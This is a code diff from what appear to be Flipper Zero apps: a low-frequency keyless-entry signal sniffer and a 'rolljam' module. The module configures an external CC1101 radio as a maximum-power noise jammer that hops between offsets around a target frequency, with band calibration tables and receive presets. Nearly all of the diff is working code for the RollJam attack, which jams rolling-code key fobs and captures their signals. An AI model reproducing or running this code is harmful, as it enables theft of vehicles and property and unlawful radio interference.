}
storage_file_write(file, "# PACKETS\n", 10);
for(uint32_t p = 0; p < app->packet_count; p++) {
snprintf(meta, sizeof(meta),
"# PKT %lu: start=%lu edges=%lu dur=%luus\n",
(unsigned long)p,
(unsigned long)app->packets[p].start_idx,
(unsigned long)app->packets[p].edge_count,
(unsigned long)app->packets[p].duration_us);
storage_file_write(file, meta, strlen(meta));
}
storage_file_close(file);
ok = true;
snprintf(app->status_msg, sizeof(app->status_msg),
"%lu edges, %lu packets",
(unsigned long)app->edge_count,
(unsigned long)app->packet_count);
} else {
snprintf(app->status_msg, sizeof(app->status_msg), "Failed to open file");
}
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
return ok;
}
static void lf_start_capture(LFSnifferApp* app) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->edge_count = 0;
app->packet_count = 0;
app->total_time_us = 0;
app->min_pulse_us = 0xFFFFFFFF;
app->max_pulse_us = 0;
app->carrier_pulses = 0;
app->data_pulses = 0;
g_overflow = false;
g_edges = app->edges;
g_edge_count = 0;
g_last_time = dwt_us();
g_active = true;
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeInterruptRiseFall,
GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_add_int_callback(LF_INPUT_PIN, lf_gpio_isr, NULL);
app->state = LFStateCapturing;
furi_mutex_release(app->mutex);
notification_message(app->notif, &sequence_blink_green_100);
FURI_LOG_I(TAG, "Capture started");
}
static void lf_stop_capture(LFSnifferApp* app) {
g_active = false;
furi_hal_gpio_remove_int_callback(LF_INPUT_PIN);
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeInput, GpioPullUp, GpioSpeedLow);
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->edge_count = g_edge_count;
lf_analyze_packets(app);
app->state = LFStateDone;
furi_mutex_release(app->mutex);
notification_message(app->notif, &sequence_blink_blue_100);
FURI_LOG_I(TAG, "Capture stopped: %lu edges, %lu packets",
(unsigned long)app->edge_count,
(unsigned long)app->packet_count);
}
int32_t lf_sniffer_app(void* p) {
UNUSED(p);
dwt_init();
LFSnifferApp* app = malloc(sizeof(LFSnifferApp));
furi_check(app != NULL);
memset(app, 0, sizeof(LFSnifferApp));
app->edges = malloc(LF_MAX_EDGES * sizeof(LFEdge));
furi_check(app->edges != NULL);
app->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
app->queue = furi_message_queue_alloc(16, sizeof(InputEvent));
app->notif = furi_record_open(RECORD_NOTIFICATION);
app->view_port = view_port_alloc();
app->state = LFStateIdle;
app->file_index = 0;
view_port_draw_callback_set(app->view_port, draw_callback, app);
view_port_input_callback_set(app->view_port, input_callback, app);
app->gui = furi_record_open(RECORD_GUI);
gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen);
FURI_LOG_I(TAG, "Keyless Sniffer started");
InputEvent event;
bool running = true;
while(running) {
if(app->state == LFStateCapturing) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->edge_count = g_edge_count;
if(g_overflow) {
furi_mutex_release(app->mutex);
lf_stop_capture(app);
furi_mutex_acquire(app->mutex, FuriWaitForever);
snprintf(app->status_msg, sizeof(app->status_msg),
"Buffer full (%d edges)", LF_MAX_EDGES);
}
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
}
FuriStatus status = furi_message_queue_get(app->queue, &event, 100);
if(status != FuriStatusOk) continue;
if(event.type != InputTypeShort && event.type != InputTypeLong) continue;
switch(app->state) {
case LFStateIdle:
if(event.key == InputKeyOk) {
lf_start_capture(app);
view_port_update(app->view_port);
} else if(event.key == InputKeyBack) {
running = false;
}
break;
case LFStateCapturing:
if(event.key == InputKeyOk || event.key == InputKeyBack) {
lf_stop_capture(app);
view_port_update(app->view_port);
}
break;
case LFStateDone:
if(event.key == InputKeyOk) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->state = LFStateSaving;
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
bool saved = lf_save_csv(app);
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->state = saved ? LFStateSaved : LFStateError;
app->file_index++;
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
if(saved) {
notification_message(app->notif, &sequence_success);
FURI_LOG_I(TAG, "Saved: %s", app->filename);
}
} else if(event.key == InputKeyBack) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->state = LFStateIdle;
app->edge_count = 0;
app->packet_count = 0;
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
}
break;
case LFStateSaved:
case LFStateError:
if(event.key == InputKeyBack) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->state = LFStateIdle;
app->edge_count = 0;
app->packet_count = 0;
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
}
break;
default:
break;
}
}
if(app->state == LFStateCapturing) {
g_active = false;
furi_hal_gpio_remove_int_callback(LF_INPUT_PIN);
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
view_port_enabled_set(app->view_port, false);
gui_remove_view_port(app->gui, app->view_port);
view_port_free(app->view_port);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_mutex_free(app->mutex);
furi_message_queue_free(app->queue);
free(app->edges);
free(app);
return 0;
}

View File

@@ -1,80 +0,0 @@
#pragma once
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_port.h>
#include <notification/notification.h>
#include <input/input.h>
#include <storage/storage.h>
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
#define LF_MAX_EDGES 4096
#define LF_GAP_THRESHOLD_US 5000
#define LF_CARRIER_HZ 125000
#define LF_BIT_PERIOD_US 250
#define LF_TIMEOUT_MS 10000
#define LF_MAX_PACKETS 16
#define LF_INPUT_PIN (&gpio_ext_pb2)
typedef struct {
uint32_t duration_us;
bool level;
} LFEdge;
typedef struct {
uint32_t start_idx;
uint32_t edge_count;
uint32_t duration_us;
} LFPacket;
typedef enum {
LFStateIdle,
LFStateCapturing,
LFStateDone,
LFStateSaving,
LFStateSaved,
LFStateError,
} LFState;
typedef struct {
Gui* gui;
ViewPort* view_port;
FuriMessageQueue* queue;
FuriMutex* mutex;
NotificationApp* notif;
LFState state;
char status_msg[64];
LFEdge* edges;
uint32_t edge_count;
uint32_t total_time_us;
LFPacket packets[LF_MAX_PACKETS];
uint32_t packet_count;
uint32_t last_edge_time_us;
bool capturing;
uint32_t carrier_pulses;
uint32_t data_pulses;
uint32_t min_pulse_us;
uint32_t max_pulse_us;
char filename[128];
uint32_t file_index;
} LFSnifferApp;
int32_t lf_sniffer_app(void* p);
#ifdef __cplusplus
}
#endif

View File

@@ -5,11 +5,10 @@
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
@@ -33,9 +32,6 @@ static void rolljam_ext_power_off(void) {
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
@@ -97,30 +93,43 @@ static const GpioPin* pin_amp = &gpio_ext_pc3;
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
@@ -154,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
@@ -185,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
@@ -210,13 +205,8 @@ static bool cc_check(void) {
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
@@ -229,98 +219,14 @@ static void cc_idle(void) {
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
@@ -329,51 +235,115 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
@@ -387,34 +357,41 @@ static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
FURI_LOG_I(TAG, "========================================");
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
} else if(app->mod_index == ModIndex_FM476) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
} else {
jam_ok = cc_configure_jam(jam_freq_pos);
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
@@ -438,18 +415,20 @@ static int32_t jam_thread_worker(void* context) {
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_positive_offset = true;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
@@ -458,10 +437,8 @@ static int32_t jam_thread_worker(void* context) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_positive_offset = !on_positive_offset;
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
@@ -469,7 +446,6 @@ static int32_t jam_thread_worker(void* context) {
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
@@ -500,69 +476,46 @@ static int32_t jam_thread_worker(void* context) {
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -21,148 +21,252 @@
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
static const uint8_t preset_ook_rx[] = {
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_rx[] = {
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
